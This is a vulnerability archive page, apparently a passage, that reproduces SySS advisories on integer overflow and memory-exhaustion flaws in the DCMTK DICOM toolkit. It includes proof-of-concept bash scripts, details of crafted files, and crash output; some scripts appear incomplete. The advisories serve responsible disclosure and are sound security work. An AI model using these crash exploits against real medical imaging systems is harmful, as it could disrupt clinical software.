(std::bad_alloc).\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n#\n# POC Exploit for unbounded VM allocation in dump2dcm\n# Proof of concept exploit for SYSS-2026-050\n#\n# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)\n# containing NUM_VALUES backslash-separated tokens, then feeds it\n# to dump2dcm under a memory limit to trigger std::bad_alloc.\n#\n\nset -euo pipefail\n\nDUMP2DCM=\"dump2dcm\"\nWORKDIR=\"/tmp/dump2dcm_poc_$$\"\n\nMEMORY_LIMIT=24576   # 24 MB virtual memory limit\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\n\necho \"=== PoC: Unbounded VM Allocation in dump2dcm ===\"\necho \"\"\necho \"Vulnerability: DcmElement::determineVM() counts backslash delimiters\"\necho \"               without bounds, causing new Sint32[vm] to allocate\"\necho \"               vm * 4 bytes without any cap.\"\necho \"\"\necho \"Configuration:\"\necho \"  Values (VM):      $NUM_VALUES\"\n\necho \"  dump2dcm:         $DUMP2DCM\"\necho \"\"\n\nmkdir -p \"$WORKDIR\"\n\nDUMP_FILE=\"$WORKDIR/exploit.dump\"\nOUTPUT_FILE=\"$WORKDIR/exploit.dcm\"\n\n\n\n# Generate the payload using Python (avoids shell escaping issues)\npython3 \"$SCRIPT_DIR/generate_payload.py\" \"$NUM_VALUES\" \u003e \"$DUMP_FILE\"\n\nDUMP_SIZE=$(du -sh \"$DUMP_FILE\" | cut -f1)\necho \"[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)\"\n\necho \"\"\necho \"[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)...\"\necho \"\"\n\n# Run dump2dcm with memory limit\n# +l sets max line length to 10M to accommodate the crafted SL element\nulimit -v \"$MEMORY_LIMIT\"\n\n\necho \"---\"\necho \"Result:\"\necho \"  Exit code: $EXIT_CODE\"\necho \"  Output:\"\necho \"$OUTPUT\" | tail -20\necho \"\"\n\n# Clean up\nrm -rf \"$WORKDIR\"\n\nif [ $EXIT_CODE -ne 0 ]; then\n    echo \"[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE\"\n    echo \"    The unbounded VM allocation exhausted memory as expected.\"\nelse\n\nfi\n\necho \"\"\necho \"=== PoC complete ===\"\nEOPOC\n\nThe following output shows a successful exploit crashing dump2dcm:\n\n./poc.sh\n=== PoC: Unbounded VM Allocation in dump2dcm ===\n\nVulnerability: DcmElement::determineVM() counts backslash delimiters\n               without bounds, causing new Sint32[vm] to allocate\n               vm * 4 bytes without any cap.\n\nConfiguration:\n  Values (VM):      4000000\n  Allocation:       Sint32[4000000] = 15 MB\n  Memory limit:     24576 KB (24 MB)\n  dump2dcm:         dump2dcm\n\n\n[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)\n\n[*] Running dump2dcm under memory limit (ulimit -v 24576)...\n\n- ---\nResult:\n  Exit code: 134\n  Output:\nterminate called after throwing an instance of \u0027std::bad_alloc\u0027\n  what():  std::bad_alloc\n\n[+] SUCCESS: dump2dcm crashed with exit code 134\n    The unbounded VM allocation exhausted memory as expected.\n\n=== PoC complete ===\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-050\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/28"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0027",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/28",
            "automated": true,
            "contentSha256": "c35c1b26ce0505ed151309b9cafa170f277e270bb50d414ec4a7a4bbdcce2835",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:02:55Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0027"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0026

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
    Summary
    Advisory ID: SYSS-2026-049 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). The Run-Length Encoded (RLE) compression codec encoder is vulnerable to an integer overflow in the expected-size sanity check. An attacker who can supply a crafted DICOM file with attacker-controlled image dimensions can bypass the sanity check and cause the encoder to read beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186, 215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic for attacker-controlled dimensions: if (numberOfStripes * columns * rows * numberOfFrames > length) result = EC_CannotChangeRepresentation; const Uint32 bytesPerStripe = columns * rows; frameOffset = frameSize * currentFrame; pixelPointer = pixelData8 + frameOffset + sampleOffset + bytesAllocated - byte - 1; for (pixel = 0; pixel < bytesPerStripe; ++pixel) rleEncoder->add(*pixelPointer); The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535, BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the expected byte count wraps to 1, so a two-byte Pixel Data element passes the check. The encoder then sets bytesPerStripe to 65535 * 65535 and reads past the two-byte heap allocation almost immediately. The attack chain is as follows: 1. The attacker crafts a DICOM file with carefully chosen Rows, Columns, and NumberOfFrames values that make the sanity product overflow to a small value. 2. The Pixel Data element is set to the small overflowed size. 3. The sanity check passes, because the overflowed product is <= length. 4. The encoder enters the stripe loop with the correct (large) bytesPerStripe value. 5. The encoder reads beyond the Pixel Data heap allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following PoC script demonstrates this security vulnerability: cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate the RLE encoder size-check overflow through dcmcrle # Proof of concept exploit for SYSS-2026-049 set -u POC_DIR="$(cd "$(dirname "$0")" && pwd)" WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)" INPUT_DUMP="${WORKDIR}/poc.dump" INPUT_DCM="${WORKDIR}/poc.dcm" OUTPUT_DCM="${WORKDIR}/poc.rle.dcm" LOG="${WORKDIR}/dcmcrle.valgrind.log" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmcrle require_tool valgrind require_tool timeout cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}" echo "[*] RLE encoder expected-size overflow via dcmcrle" echo "[*] Building crafted DICOM input with dump2dcm" dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1 echo "[*] Crafted image parameters:" echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)" echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read" set +e timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \ dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1 RC=$? set -e cat "${LOG}" if [ "${RC}" -eq 99 ] && grep -q "Invalid read of size 1" "${LOG}" && grep -q "DcmRLECodecEncoder::encode" "${LOG}" && grep -q "dcrlecce.cc:268" "${LOG}" && grep -q "0 bytes after a block of size 2" "${LOG}"; then exit 0 fi echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC The exploit causes the RLE encoder to segfault when reading the guard page, confirming the out-of-bounds read. ./poc.sh [*] RLE encoder expected-size overflow via dcmcrle [*] Building crafted DICOM input with dump2dcm [*] Crafted image parameters: (0028,0010) US 65535 # 2, 1 Rows (0028,0011) US 2 # 2, 1 Columns (7fe0,0010) OB 41\42 # 2, 1 PixelData [*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32) [*] Running dcmcrle under Valgrind to stop at the first invalid read ==53104== Invalid read of size 1 ==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103) ==53104== by 0x40044D2: main (dcmcrle.cc:295) ==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd ==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708) ==53104== ==53104== ==53104== Exit program on first error (--exit-on-first-error=yes) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-049 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Assigner
    References
    Impacted products
    Vendor Product Version
    Dicom DICOM Toolkit Affected: unknown
    		Create a notification for this product.
    Credits
    Matthias Deeg via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-049\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nThe Run-Length Encoded (RLE) compression codec encoder is vulnerable to\nan integer overflow in the expected-size sanity check. An attacker who\ncan supply a crafted DICOM file with attacker-controlled image dimensions\ncan bypass the sanity check and cause the encoder to read beyond the\nPixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,\n215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic\nfor attacker-controlled dimensions:\n\n  if (numberOfStripes * columns * rows * numberOfFrames \u003e length)\n      result = EC_CannotChangeRepresentation;\n\n  const Uint32 bytesPerStripe = columns * rows;\n\n\n  frameOffset = frameSize * currentFrame;\n  pixelPointer = pixelData8 + frameOffset + sampleOffset +\n                 bytesAllocated - byte - 1;\n  for (pixel = 0; pixel \u003c bytesPerStripe; ++pixel)\n      rleEncoder-\u003eadd(*pixelPointer);\n\nThe sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,\nBitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the\nexpected byte count wraps to 1, so a two-byte Pixel Data element passes\nthe check. The encoder then sets bytesPerStripe to 65535 * 65535 and\nreads past the two-byte heap allocation almost immediately.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,\n     and NumberOfFrames values that make the sanity product overflow\n     to a small value.\n\n  2. The Pixel Data element is set to the small overflowed size.\n\n  3. The sanity check passes, because the overflowed product is \u003c= length.\n\n  4. The encoder enters the stripe loop with the correct (large)\n     bytesPerStripe value.\n\n  5. The encoder reads beyond the Pixel Data heap allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following PoC script demonstrates this security vulnerability:\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate the RLE encoder size-check overflow through dcmcrle\n# Proof of concept exploit for SYSS-2026-049\n\nset -u\n\nPOC_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)\"\nINPUT_DUMP=\"${WORKDIR}/poc.dump\"\nINPUT_DCM=\"${WORKDIR}/poc.dcm\"\nOUTPUT_DCM=\"${WORKDIR}/poc.rle.dcm\"\nLOG=\"${WORKDIR}/dcmcrle.valgrind.log\"\n\ncleanup()\n{\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmcrle\nrequire_tool valgrind\nrequire_tool timeout\n\ncp \"${POC_DIR}/exploit_cli.dump\" \"${INPUT_DUMP}\"\n\necho \"[*] RLE encoder expected-size overflow via dcmcrle\"\necho \"[*] Building crafted DICOM input with dump2dcm\"\ndump2dcm \"${INPUT_DUMP}\" \"${INPUT_DCM}\" || exit 1\n\necho \"[*] Crafted image parameters:\"\n\necho \"[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\"\necho \"[*] Running dcmcrle under Valgrind to stop at the first invalid read\"\n\nset +e\ntimeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \\\n    dcmcrle \"${INPUT_DCM}\" \"${OUTPUT_DCM}\" \u003e\"${LOG}\" 2\u003e\u00261\nRC=$?\nset -e\n\ncat \"${LOG}\"\n\nif [ \"${RC}\" -eq 99 ] \u0026\u0026\n   grep -q \"Invalid read of size 1\" \"${LOG}\" \u0026\u0026\n   grep -q \"DcmRLECodecEncoder::encode\" \"${LOG}\" \u0026\u0026\n   grep -q \"dcrlecce.cc:268\" \"${LOG}\" \u0026\u0026\n   grep -q \"0 bytes after a block of size 2\" \"${LOG}\"; then\n\n    exit 0\nfi\n\necho \"[!] FAILED: expected Valgrind invalid-read evidence was not observed\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\n\nThe exploit causes the RLE encoder to segfault when reading the guard\npage, confirming the out-of-bounds read.\n\n./poc.sh\n[*] RLE encoder expected-size overflow via dcmcrle\n[*] Building crafted DICOM input with dump2dcm\n[*] Crafted image parameters:\n\n(0028,0010) US 65535                                    #   2, 1 Rows\n(0028,0011) US 2                                        #   2, 1 Columns\n\n(7fe0,0010) OB 41\\42                                    #   2, 1 PixelData\n[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)\n[*] Running dcmcrle under Valgrind to stop at the first invalid read\n==53104== Invalid read of size 1\n==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)\n\n==53104==    by 0x40044D2: main (dcmcrle.cc:295)\n==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc\u0027d\n\n==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)\n\n==53104==\n==53104==\n==53104== Exit program on first error (--exit-on-first-error=yes)\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-049\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/27"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/27"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-049]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0026",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/27",
            "automated": true,
            "contentSha256": "cffd9c10f0b26754d6817aae05cf938555bd615599b8568770c4f94ee5ddcdf4",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/27",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:01:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0026"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0023

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
    Summary
    Advisory ID: SYSS-2026-046 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's DICOMDIR icon image loading is vulnerable to an integer overflow in the PGM image size calculation. An attacker who can supply a malicious PGM file referenced as an external icon can cause a heap out-of-bounds read in the icon scaler, leading to a process crash or potential information disclosure. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc (line 4489) computes the PGM image buffer size by multiplying the width and height parsed from the PGM file header: unsigned int pgmWidth, pgmHeight = 0; // ... values parsed from PGM file via sscanf() const unsigned long pgmSize = pgmWidth * pgmHeight; Uint8 *pgmData = new Uint8[pgmSize]; Both pgmWidth and pgmHeight are unsigned int. Their product is computed as unsigned int, and only then assigned to unsigned long. On any platform where unsigned int is 32 bits, a crafted PGM file with the dimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow (4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1). The allocation "new Uint8[1]" succeeds, and fread() reads exactly 1 byte from the PGM file. The icon scaler is invoked at line 4505 of dcddirif.cc: result = ImagePlugin->scaleData(pgmData, pgmWidth, pgmHeight, pixel, width, height); The scaler implementation (DicomDirImageImplementation::scaleData in dcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from unsigned int to Uint16 without validation: DiScaleTemplate<Uint8> scale(1, OFstatic_cast(Uint16, srcWidth), // 4294967295 -> 65535 OFstatic_cast(Uint16, srcHeight), // 4294967295 -> 65535 OFstatic_cast(Uint16, dstWidth), OFstatic_cast(Uint16, dstHeight), 1); scale.scaleData(OFstatic_cast(const Uint8 **, &srcData), &dstData, 1 /* interpolate */); The DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h, line 148) stores the truncated dimensions: DiScaleTemplate(const int planes, const Uint16 src_cols, // resolution of source image const Uint16 src_rows, const Uint16 dest_cols, const Uint16 dest_rows, const Uint32 frames, const int bits = 0) The scaleData() method (line 187) then iterates over the source image using the truncated dimensions (65535 * 65535), reading from the 1-byte heap allocation through the interpolatePixel() method, causing a heap out-of-bounds read. The root cause is the unchecked cast from unsigned int to Uint16 in the scaler (ddpiimpl.cc:60), which silently truncates dimensions without any bounds validation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The integer overflow can be demonstrated using a specially crafted PGM file. The following shell script exemplarily creates such a file named demo.pgm: cat > create_pgm.sh << 'EOF' 